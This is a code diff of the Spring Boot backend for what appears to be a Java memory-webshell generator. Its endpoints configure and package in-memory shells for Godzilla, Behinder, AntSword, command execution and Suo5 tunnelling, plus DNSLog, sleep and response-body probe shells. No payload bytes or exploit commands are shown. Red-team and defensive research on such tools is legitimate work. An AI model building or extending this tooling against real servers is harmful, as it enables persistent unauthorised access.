@RestControllerAdvice
|
@RestControllerAdvice
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class GlobalExceptionHandler {
|
public class GlobalExceptionHandler {
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.NOT_FOUND)
|
|
||||||
@ExceptionHandler(NoResourceFoundException.class)
|
|
||||||
public ResponseEntity<?> handleNoResourceException() {
|
|
||||||
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
|
||||||
@ExceptionHandler(GenerationException.class)
|
|
||||||
public ErrorResponse handleGenerationException(GenerationException exception) {
|
|
||||||
return new ErrorResponse(exception.getMessage());
|
|
||||||
}
|
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
@ExceptionHandler(Throwable.class)
|
@ExceptionHandler(Throwable.class)
|
||||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||||
log.error("Internal Exception", throwable);
|
log.error("请求出错", throwable);
|
||||||
return new ErrorResponse(throwable.getMessage());
|
return new ErrorResponse(throwable.getMessage());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import org.springframework.asm.ClassReader;
|
|
||||||
import org.springframework.cglib.core.ClassNameReader;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestBody;
|
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/11/10
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class ClassNameParseController {
|
|
||||||
|
|
||||||
@PostMapping("/api/className")
|
|
||||||
public String className(@RequestBody String classBase64) {
|
|
||||||
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,14 +1,12 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
import com.reajason.javaweb.boot.entity.Config;
|
||||||
import com.reajason.javaweb.boot.vo.PackerVO;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import org.springframework.http.ResponseEntity;
|
||||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
@@ -19,82 +17,42 @@ import java.util.*;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/api/config")
|
@RequestMapping("/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
/**
|
|
||||||
* @deprecated use {@link #config()} for memshell configuration and
|
|
||||||
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
|
|
||||||
*/
|
|
||||||
@RequestMapping("/servers")
|
|
||||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
|
||||||
public Map<String, List<String>> getServers() {
|
|
||||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
|
||||||
for (String supportedServer : supportedServers) {
|
|
||||||
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
|
||||||
.getShellInjectorMapping().getSupportedShellTypes();
|
|
||||||
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
|
||||||
}
|
|
||||||
return servers;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
|
|
||||||
*/
|
|
||||||
@RequestMapping("/packers")
|
|
||||||
@Deprecated(since = "2.9.0", forRemoval = false)
|
|
||||||
public List<String> getPackers() {
|
|
||||||
return Arrays.stream(Packers.values())
|
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
|
||||||
.map(Packers::name).toList();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
|
|
||||||
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
|
|
||||||
*/
|
|
||||||
@RequestMapping("/packers/tree")
|
|
||||||
public List<PackerVO> getPackerTree() {
|
|
||||||
return Arrays.stream(Packers.values())
|
|
||||||
.filter(packers -> packers.getParentPacker() == null)
|
|
||||||
.map(packers -> new PackerVO(
|
|
||||||
packers.name(),
|
|
||||||
Packers.getPackersWithParent(packers.getInstance().getClass())
|
|
||||||
.stream().map(Packers::name).toList()))
|
|
||||||
.toList();
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping("/probe/response-body/servers")
|
|
||||||
public List<String> getProbeResponseBodyServers() {
|
|
||||||
return ResponseBodyGenerator.getSupportedServers();
|
|
||||||
}
|
|
||||||
|
|
||||||
@RequestMapping
|
@RequestMapping
|
||||||
public Map<String, Map<?, ?>> config() {
|
public ResponseEntity<?> config() {
|
||||||
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
|
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
for (Server value : Server.values()) {
|
||||||
for (String supportedServer : supportedServers) {
|
AbstractShell shell = value.getShell();
|
||||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
if (shell == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||||
for (String shellTool : server.getSupportedShellTools()) {
|
for (ShellTool shellTool : shell.getSupportedShellTools()) {
|
||||||
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||||
if (supportedShellTypes.isEmpty()) {
|
if (supportedShellTypes.isEmpty()) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
map.put(shellTool, supportedShellTypes);
|
map.put(shellTool.name(), supportedShellTypes);
|
||||||
}
|
}
|
||||||
coreMap.put(supportedServer, map);
|
coreMap.put(value.name(), map);
|
||||||
}
|
}
|
||||||
return coreMap;
|
Config config = new Config();
|
||||||
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
|
for (Server server : Server.values()) {
|
||||||
|
if (server.getShell() != null) {
|
||||||
|
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
|
||||||
|
servers.put(server.name(), supportedShellTypes.stream().toList());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
config.setServers(servers);
|
||||||
|
config.setCore(coreMap);
|
||||||
|
config.setPackers(
|
||||||
|
Arrays.stream(Packers.values())
|
||||||
|
.filter(packers -> packers.getParentPacker() == null)
|
||||||
|
.map(Packers::name).toList()
|
||||||
|
);
|
||||||
|
return ResponseEntity.ok(config);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
@GetMapping("/command/configs")
|
|
||||||
public CommandConfigVO getCommandConfigs() {
|
|
||||||
CommandConfigVO commandConfigVO = new CommandConfigVO();
|
|
||||||
commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
|
|
||||||
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
|
|
||||||
return commandConfigVO;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.*;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/generate")
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class GeneratorController {
|
||||||
|
@PostMapping
|
||||||
|
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
|
||||||
|
ShellConfig shellConfig = request.getShellConfig();
|
||||||
|
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||||
|
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||||
|
GenerateResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
|
Packer packer = request.getPacker().getInstance();
|
||||||
|
if (packer instanceof JarPacker) {
|
||||||
|
return ResponseEntity.ok(new GenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult))));
|
||||||
|
} else if (packer instanceof AggregatePacker) {
|
||||||
|
return ResponseEntity.ok(new GenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult)));
|
||||||
|
} else {
|
||||||
|
return ResponseEntity.ok(new GenerateResponse(generateResult, packer.pack(generateResult)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
-40
@@ -1,40 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
|
||||||
import com.reajason.javaweb.packer.JarPacker;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import java.util.Base64;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/api/memshell/generate")
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class MemShellGeneratorController {
|
|
||||||
@PostMapping
|
|
||||||
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
|
|
||||||
ShellConfig shellConfig = request.getShellConfig();
|
|
||||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
|
||||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
|
||||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
Packer packer = request.getPacker().getInstance();
|
|
||||||
if (packer instanceof AggregatePacker) {
|
|
||||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
if (packer instanceof JarPacker) {
|
|
||||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
|
||||||
}
|
|
||||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-33
@@ -1,33 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.packer.AggregatePacker;
|
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/10
|
|
||||||
*/
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/api/probe/generate")
|
|
||||||
@CrossOrigin("*")
|
|
||||||
public class ProbeShellGeneratorController {
|
|
||||||
@PostMapping
|
|
||||||
public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
|
|
||||||
ProbeConfig probeConfig = request.getProbeConfig();
|
|
||||||
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
|
|
||||||
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
|
|
||||||
Packer packer = request.getPacker().getInstance();
|
|
||||||
if (packer instanceof AggregatePacker) {
|
|
||||||
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
|
||||||
} else {
|
|
||||||
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -22,7 +22,7 @@ import java.util.Map;
|
|||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
@RequestMapping("/api/version")
|
@RequestMapping("/version")
|
||||||
public class VersionController {
|
public class VersionController {
|
||||||
|
|
||||||
@Value("${spring.application.version}")
|
@Value("${spring.application.version}")
|
||||||
@@ -36,7 +36,7 @@ public class VersionController {
|
|||||||
|
|
||||||
@GetMapping
|
@GetMapping
|
||||||
public VersionInfo version() {
|
public VersionInfo version() {
|
||||||
if (version.endsWith("-SNAPSHOT")) {
|
if ("dev".equals(version)) {
|
||||||
return VersionInfo.builder()
|
return VersionInfo.builder()
|
||||||
.currentVersion(version)
|
.currentVersion(version)
|
||||||
.latestVersion(version).build();
|
.latestVersion(version).build();
|
||||||
|
|||||||
@@ -1,70 +1,16 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import org.springframework.core.io.ClassPathResource;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.util.FileCopyUtils;
|
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.InputStreamReader;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/19
|
* @since 2024/12/19
|
||||||
*/
|
*/
|
||||||
@Controller
|
@Controller
|
||||||
@Slf4j
|
|
||||||
public class ViewController {
|
public class ViewController {
|
||||||
@GetMapping("/")
|
@GetMapping("/")
|
||||||
public String index(){
|
public String index(){
|
||||||
return "redirect:/ui";
|
return "index";
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping({"/api/search", "/api/search.data"})
|
|
||||||
@ResponseBody
|
|
||||||
public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
String relativePath = fullPath.substring(1);
|
|
||||||
return renderFileData(relativePath, response);
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping("/ui/**")
|
|
||||||
@SneakyThrows
|
|
||||||
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
|
||||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
|
||||||
return "index";
|
|
||||||
}
|
|
||||||
String docPath = fullPath.substring(4);
|
|
||||||
if (docPath.endsWith(".data")) {
|
|
||||||
return ResponseEntity.ok(renderFileData(docPath, response));
|
|
||||||
}
|
|
||||||
return docPath + "/index";
|
|
||||||
}
|
|
||||||
|
|
||||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
|
||||||
try {
|
|
||||||
String templatePath = "templates/" + relativePath;
|
|
||||||
ClassPathResource resource = new ClassPathResource(templatePath);
|
|
||||||
if (!resource.exists()) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
|
||||||
return "File not found: " + relativePath;
|
|
||||||
}
|
|
||||||
InputStreamReader reader = new InputStreamReader(
|
|
||||||
resource.getInputStream(),
|
|
||||||
StandardCharsets.UTF_8
|
|
||||||
);
|
|
||||||
return FileCopyUtils.copyToString(reader);
|
|
||||||
} catch (IOException e) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
|
|
||||||
return "Error reading file: " + e.getMessage();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+4
-18
@@ -1,36 +1,31 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/18
|
* @since 2024/12/18
|
||||||
*/
|
*/
|
||||||
@Data
|
@Data
|
||||||
public class MemShellGenerateRequest {
|
public class GenerateRequest {
|
||||||
private ShellConfig shellConfig;
|
private ShellConfig shellConfig;
|
||||||
private ShellToolConfigDTO shellToolConfig;
|
private ShellToolConfigDTO shellToolConfig;
|
||||||
private InjectorConfig injectorConfig;
|
private InjectorConfig injectorConfig;
|
||||||
private Packers packer;
|
private Packers packer;
|
||||||
|
|
||||||
@Data
|
@Data
|
||||||
public static class ShellToolConfigDTO {
|
static class ShellToolConfigDTO {
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
private String godzillaPass;
|
private String godzillaPass;
|
||||||
private String godzillaKey;
|
private String godzillaKey;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
private String commandTemplate;
|
|
||||||
private String behinderPass;
|
private String behinderPass;
|
||||||
private String antSwordPass;
|
private String antSwordPass;
|
||||||
private String headerName;
|
private String headerName;
|
||||||
private String headerValue;
|
private String headerValue;
|
||||||
private String shellClassBase64;
|
private String shellClassBase64;
|
||||||
private String encryptor;
|
|
||||||
private String implementationClass;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
@@ -51,13 +46,8 @@ public class MemShellGenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.template(shellToolConfig.getCommandTemplate())
|
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
|
||||||
.build();
|
.build();
|
||||||
case Suo5, Suo5v2 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
.headerName(shellToolConfig.getHeaderName())
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
.headerValue(shellToolConfig.getHeaderValue())
|
||||||
@@ -77,10 +67,6 @@ public class MemShellGenerateRequest {
|
|||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.build();
|
.build();
|
||||||
case Proxy -> ProxyConfig.builder()
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.shellClassName(shellToolConfig.shellClassName).build();
|
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
package com.reajason.javaweb.boot.dto;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import lombok.Data;
|
||||||
|
import lombok.NoArgsConstructor;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/18
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
@NoArgsConstructor
|
||||||
|
public class GenerateResponse {
|
||||||
|
private GenerateResult generateResult;
|
||||||
|
private String packResult;
|
||||||
|
private Map<String, String> allPackResults;
|
||||||
|
|
||||||
|
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
||||||
|
this.generateResult = generateResult;
|
||||||
|
this.packResult = packResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
||||||
|
this.allPackResults = allPackResults;
|
||||||
|
this.generateResult = generateResult;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/18
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
public class MemShellGenerateResponse {
|
|
||||||
private MemShellResult memShellResult;
|
|
||||||
private String packResult;
|
|
||||||
private Map<String, String> allPackResults;
|
|
||||||
|
|
||||||
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
|
|
||||||
this.memShellResult = memShellResult;
|
|
||||||
this.packResult = packResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
|
|
||||||
this.allPackResults = allPackResults;
|
|
||||||
this.memShellResult = memShellResult;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,44 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.config.*;
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/10
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class ProbeShellGenerateRequest {
|
|
||||||
private ProbeConfig probeConfig;
|
|
||||||
private ProbeContentConfigDTO probeContentConfig;
|
|
||||||
private Packers packer;
|
|
||||||
|
|
||||||
@Data
|
|
||||||
static class ProbeContentConfigDTO {
|
|
||||||
private String host;
|
|
||||||
private int seconds;
|
|
||||||
private String server;
|
|
||||||
private String sleepServer;
|
|
||||||
private String reqParamName;
|
|
||||||
private String commandTemplate;
|
|
||||||
}
|
|
||||||
|
|
||||||
public ProbeContentConfig parseProbeContentConfig() {
|
|
||||||
return switch (probeConfig.getProbeMethod()) {
|
|
||||||
case DNSLog -> DnsLogConfig.builder()
|
|
||||||
.host(probeContentConfig.host)
|
|
||||||
.build();
|
|
||||||
case Sleep -> SleepConfig.builder()
|
|
||||||
.seconds(probeContentConfig.seconds)
|
|
||||||
.server(probeContentConfig.sleepServer)
|
|
||||||
.build();
|
|
||||||
case ResponseBody -> ResponseBodyConfig.builder()
|
|
||||||
.reqParamName(probeContentConfig.reqParamName)
|
|
||||||
.commandTemplate(probeContentConfig.commandTemplate)
|
|
||||||
.server(probeContentConfig.server)
|
|
||||||
.build();
|
|
||||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
|
||||||
};
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,29 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.dto;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import lombok.Data;
|
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/10
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
@NoArgsConstructor
|
|
||||||
public class ProbeShellGenerateResponse {
|
|
||||||
private ProbeShellResult probeShellResult;
|
|
||||||
private String packResult;
|
|
||||||
private Map<String, String> allPackResults;
|
|
||||||
|
|
||||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
|
|
||||||
this.probeShellResult = probeShellResult;
|
|
||||||
this.packResult = packResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
|
|
||||||
this.allPackResults = allPackResults;
|
|
||||||
this.probeShellResult = probeShellResult;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
import lombok.Builder;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import lombok.Builder;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -1,16 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.vo;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/5/25
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class CommandConfigVO {
|
|
||||||
private List<CommandConfig.Encryptor> encryptors;
|
|
||||||
private List<CommandConfig.ImplementationClass> implementationClasses;
|
|
||||||
}
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.vo;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2026/6/27
|
|
||||||
*/
|
|
||||||
public record PackerVO(String name, List<String> children) {
|
|
||||||
}
|
|
||||||
@@ -1,7 +1,4 @@
|
|||||||
spring:
|
spring:
|
||||||
application:
|
application:
|
||||||
name: boot
|
name: boot
|
||||||
version: ${version}
|
version: ${version}
|
||||||
mvc:
|
|
||||||
pathmatch:
|
|
||||||
matching-strategy: ant_path_matcher
|
|
